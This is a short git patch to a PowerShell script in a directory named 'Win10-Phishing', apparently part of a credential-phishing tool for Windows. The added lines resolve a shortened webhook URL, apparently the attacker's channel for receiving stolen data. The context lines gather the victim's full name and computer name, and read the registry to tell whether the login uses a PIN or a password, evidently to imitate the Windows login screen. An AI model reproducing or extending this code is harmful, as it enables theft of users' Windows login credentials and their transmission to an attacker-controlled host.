From 7732364274b7f4497df831dc8a9cc81e39a24c52 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:10:58 +0000 Subject: [PATCH] Update main.ps1 --- Win10-Phishing/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Win10-Phishing/main.ps1 b/Win10-Phishing/main.ps1 index 2dfb285..a895bb0 100644 --- a/Win10-Phishing/main.ps1 +++ b/Win10-Phishing/main.ps1 @@ -3,6 +3,9 @@ $u = (Get-WmiObject Win32_UserAccount -Filter "Name = '$Env:UserName'").FullName $c = $env:COMPUTERNAME $wpURL = "https://wallpapercave.com/wp/wp1809099.jpg" +# shortened URL Detection +if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} + # DEFAULT LOGIN METHOD $value = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\NgcPin" -Name "DeviceLockEnforcementPending" -ErrorAction SilentlyContinue if ($value -eq 0 -or $value -eq 1) {$mthd = "PIN"} else {$mthd = "Password"}